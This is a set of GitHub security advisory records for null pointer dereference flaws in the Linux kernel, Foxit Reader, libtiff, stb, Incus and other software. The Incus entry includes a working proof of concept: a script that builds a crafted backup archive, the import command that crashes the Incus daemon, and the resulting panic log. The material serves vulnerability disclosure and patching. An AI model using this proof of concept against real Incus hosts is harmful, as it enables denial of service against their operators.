CWE-476

{
  "affected": [],
  "aliases": [
    "CVE-2025-22063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-16T15:15:59Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetlabel: Fix NULL pointer exception caused by CALIPSO on IPv4 sockets\n\nWhen calling netlbl_conn_setattr(), addr-\u003esa_family is used\nto determine the function behavior. If sk is an IPv4 socket,\nbut the connect function is called with an IPv6 address,\nthe function calipso_sock_setattr() is triggered.\nInside this function, the following code is executed:\n\nsk_fullsock(__sk) ? inet_sk(__sk)-\u003epinet6 : NULL;\n\nSince sk is an IPv4 socket, pinet6 is NULL, leading to a\nnull pointer dereference.\n\nThis patch fixes the issue by checking if inet6_sk(sk)\nreturns a NULL pointer before accessing pinet6.",
  "id": "GHSA-r764-27jf-q424",
  "modified": "2025-11-03T21:33:36Z",
  "published": "2025-04-16T15:34:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22063"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/078aabd567de3d63d37d7673f714e309d369e6e2"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/172a8a996a337206970467e871dd995ac07640b1"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1927d0bcd5b81e80971bf6b8eba267508bd1c78b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1ad9166cab6a0f5c0b10344a97bdf749ae11dcbf"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1e38f7a6cdd68377f8a4189b2fbaec14a6dd5152"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3ba9cf69de50e8abed32b448616c313baa4c5712"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/797e5371cf55463b4530bab3fef5f27f7c6657a8"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9fe3839588db7519030377b7dee3f165e654f6c5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a7e89541d05b98c79a51c0f95df020f8e82b62ed"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-25108"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-10T17:47:00Z",
    "severity": "MODERATE"
  },
  "details": "Foxit PDF Reader and Editor before 11.2.1 and PhantomPDF before 10.1.7 allow a NULL pointer dereference during PDF parsing because the pointer is used without proper validation.",
  "id": "GHSA-r76r-59x7-cv24",
  "modified": "2022-03-17T00:01:23Z",
  "published": "2022-03-11T00:02:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25108"
    },
    {
      "type": "WEB",
      "url": "https://www.foxit.com/support/security-bulletins.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-20820"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-04T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Foxit Reader and PhantomPDF before 9.7. It has a NULL pointer dereference.",
  "id": "GHSA-r7f3-fxgh-rrwq",
  "modified": "2022-05-24T17:19:13Z",
  "published": "2022-05-24T17:19:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20820"
    },
    {
      "type": "WEB",
      "url": "https://www.foxitsoftware.com/support/security-bulletins.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-12469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-12T13:29:00Z",
    "severity": "HIGH"
  },
  "details": "Incorrect handling of an invalid value for an HTTP request parameter by Directory Server (aka Enterprise Server Administration web UI) in Micro Focus Enterprise Developer and Enterprise Server 2.3 Update 2 and earlier, 3.0 before Patch Update 12, and 4.0 before Patch Update 2 causes a null pointer dereference (CWE-476) and subsequent denial of service due to process termination.",
  "id": "GHSA-r7hc-3qcj-83xr",
  "modified": "2022-05-13T01:34:46Z",
  "published": "2022-05-13T01:34:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12469"
    },
    {
      "type": "WEB",
      "url": "https://community.microfocus.com/microfocus/mainframe_solutions/enterprise_server/w/knowledge_base/29624/enterprise-server-security-fix-october-2018"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-12475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-06T08:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The AP4_Processor::Process function in Core/Ap4Processor.cpp in Bento4 mp4encrypt before 1.5.0-616 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted mp4 file.",
  "id": "GHSA-r7rc-f8xh-w76m",
  "modified": "2022-05-14T02:59:06Z",
  "published": "2022-05-14T02:59:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12475"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axiomatic-systems/Bento4/commit/4d3f0bebd5f8518fd775f671c12bea58c68e814e"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/open?id=0B6wBkDmxMGMKUjNscThnbTlSZ2s"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/open?id=0B9DojFnTUSNGZ1JfNUc1am9pcnc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v6/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T17:45:21Z",
    "nvd_published_at": "2026-05-06T21:16:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nMissing validation logic in the storage volume import logic allows an authenticated user with access to Incus\u0027 storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations.\n\nIn the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and *snapshot.ExpiresAt without first validating that the element itself is initialized.\n\nBecause the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {\n    [...]\n    // Create database entries for new storage volume snapshots.\n    for _, s := range srcBackup.Config.VolumeSnapshots {\n        snapshot := s // Local var for revert.\n        snapName := snapshot.Name\n\n        // Due to a historical bug, the volume snapshot names were sometimes written in their full form\n        // (\u003cparent\u003e/\u003csnap\u003e) rather than the expected snapshot name only form, so we need to handle both.\n        if internalInstance.IsSnapshot(snapshot.Name) {\n            _, snapName, _ = api.GetParentAndSnapshotName(snapshot.Name)\n        }\n\n        fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName)\n        snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)\n        snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)\n\n        // Validate config and create database entry for new storage volume.\n        // Strip unsupported config keys (in case the export was made from a different type of storage pool).\n        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)\n        if err != nil {\n            return err\n        }\n\n        reverter.Add(func() { _ = VolumeDBDelete(b, srcBackup.Project, fullSnapName, snapVol.Type()) })\n    }\n    [...]\n}\n```\n\n### PoC\nThe following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volume_snapshots can trigger a nil-pointer dereference during import.\n\nStep 1: Generate the malformed archive\n\nFrom a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volume_snapshots array containing a literal null entry.\n\nCommands:\n```\ncat \u003c\u003cEOF \u003e poc_nil_snapshot.sh\n#!/bin/bash\nset -e\n\necho \"[*] Building null snapshot dereference payload...\"\n\nmkdir -p backup/volume\nmkdir -p backup/snapshots/snap0\n\ncat \u003c\u003cEOT \u003e backup/index.yaml\nname: panic-nil-snap\nbackend: dir\npool: default\ntype: custom\nsnapshots:\n  - snap0\nconfig:\n  volume:\n    name: panic-nil-snap\n    type: custom\n    content_type: filesystem\n    config: {}\n  volume_snapshots:\n    - null\nEOT\n\ntar -czf exploit_null_snapshot.tar.gz backup/\nrm -rf backup/\n\necho \"[+] PoC Tarball Created: exploit_null_snapshot.tar.gz\"\nEOF\n\nbash poc_nil_snapshot.sh\n```\n\nResult:\n```\n[+] PoC Tarball Created: exploit_null_snapshot.tar.gz\n```\n\nStep 2: Trigger the vulnerable custom volume import path\n\nFrom an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool.\n\nCommand:\n```\nincus storage volume import default exploit_null_snapshot.tar.gz\n```\n\nResult:\n```\nError: Operation not found\n```\n\nStep 3: Verify the daemon panic\n\nOn the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup.\n\n\nCommand:\n```\njournalctl -u incus --since \"3 minutes ago\" | grep -A 15 \"panic:\"\n```\n\nResult:\n```\npanic: runtime error: invalid memory address or nil pointer dereference\ngithub.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)\n\nMar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address or nil pointer dereference\nMar 23 17:27:55 incus-7a incusd[238672]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x16881c3]\nMar 23 17:27:55 incus-7a incusd[238672]: goroutine 5802 [running]:\nMar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(0x31c86ff85800, {{0x31c870a13203, 0x9}, {0x31c870a13300, 0xe}, {0x31c870a13318, 0x3}, {0x31c86f6d6298, 0x7}, {0x31c86fd13280, ...}, ...}, ...)\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7627 +0xe03\nMar 23 17:27:55 incus-7a incusd[238672]: main.createStoragePoolVolumeFromBackup.func6(0x31c86fa5e000?)\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_volumes.go:2715 +0x3f4\nMar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x31c86f758140)\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26\nMar 23 17:27:55 incus-7a incusd[238672]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 5783\nMar 23 17:27:55 incus-7a incusd[238672]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Failed with result \u0027exit-code\u0027.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238744 (dnsmasq) remains running after unit stopped.\nMar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238760 (dnsmasq) remains running after unit stopped.\n```\n\nIt is recommended to validate that each element of srcBackup.Config.VolumeSnapshots is non-nil before dereferencing it. If the archive contains a null snapshot entry, the function should return a structured validation error and abort the import gracefully rather than allowing a runtime panic to crash the service.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "id": "GHSA-r7w7-mmxr-47r9",
  "modified": "2026-05-08T19:27:07Z",
  "published": "2026-05-04T17:45:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-r7w7-mmxr-47r9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40197"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incus has a Nil-Pointer Dereference via Custom Volume Import"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-43898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-03T21:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Nothings stb 2.28 was discovered to contain a Null Pointer Dereference via the function stbi__convert_format. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted pic file.",
  "id": "GHSA-r7w9-77p6-9q6m",
  "modified": "2023-11-09T21:30:34Z",
  "published": "2023-10-03T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nothings/stb/issues/1452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nothings/stb/pull/1454"
    },
    {
      "type": "WEB",
      "url": "https://github.com/peccc/null-stb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-58067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-06T16:15:53Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: mmp: pxa1908-mpmu: Fix a NULL vs IS_ERR() check\n\nThe devm_kzalloc() function returns NULL on error, not error pointers.\nUpdate the check to match.",
  "id": "GHSA-r7x2-wq2h-f7x7",
  "modified": "2025-03-25T15:31:22Z",
  "published": "2025-03-06T18:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58067"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0869a7b2afdfcdd2beb0a5fb683119bcf39c0e9d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7def56f841af22e07977e193eea002e085facbdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-7006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476",
      "CWE-754"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-12T13:38:40Z",
    "severity": "MODERATE"
  },
  "details": "A null pointer dereference flaw was found in Libtiff via `tif_dirinfo.c`. This issue may allow an attacker to trigger memory allocation failures through certain means, such as restricting the heap space size or injecting faults, causing a segmentation fault. This can cause an application crash, eventually leading to a denial of service.",
  "id": "GHSA-r7x8-hv2q-v9r7",
  "modified": "2025-11-03T21:31:11Z",
  "published": "2024-08-12T15:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7006"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:6360"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:8833"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:8914"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-7006"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2302996"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00019.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240920-0001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-3107"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-14T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in the Linux kernel through 5.16-rc6. netvsc_get_ethtool_stats in drivers/net/hyperv/netvsc_drv.c lacks check of the return value of kvmalloc_array() and will cause the null pointer dereference.",
  "id": "GHSA-r839-rgcg-37rj",
  "modified": "2022-12-17T00:30:21Z",
  "published": "2022-12-14T21:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3107"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2153060"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=v5.19-rc2\u0026id=886e44c9298a6b428ae046e2fa092ca52e822e6a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}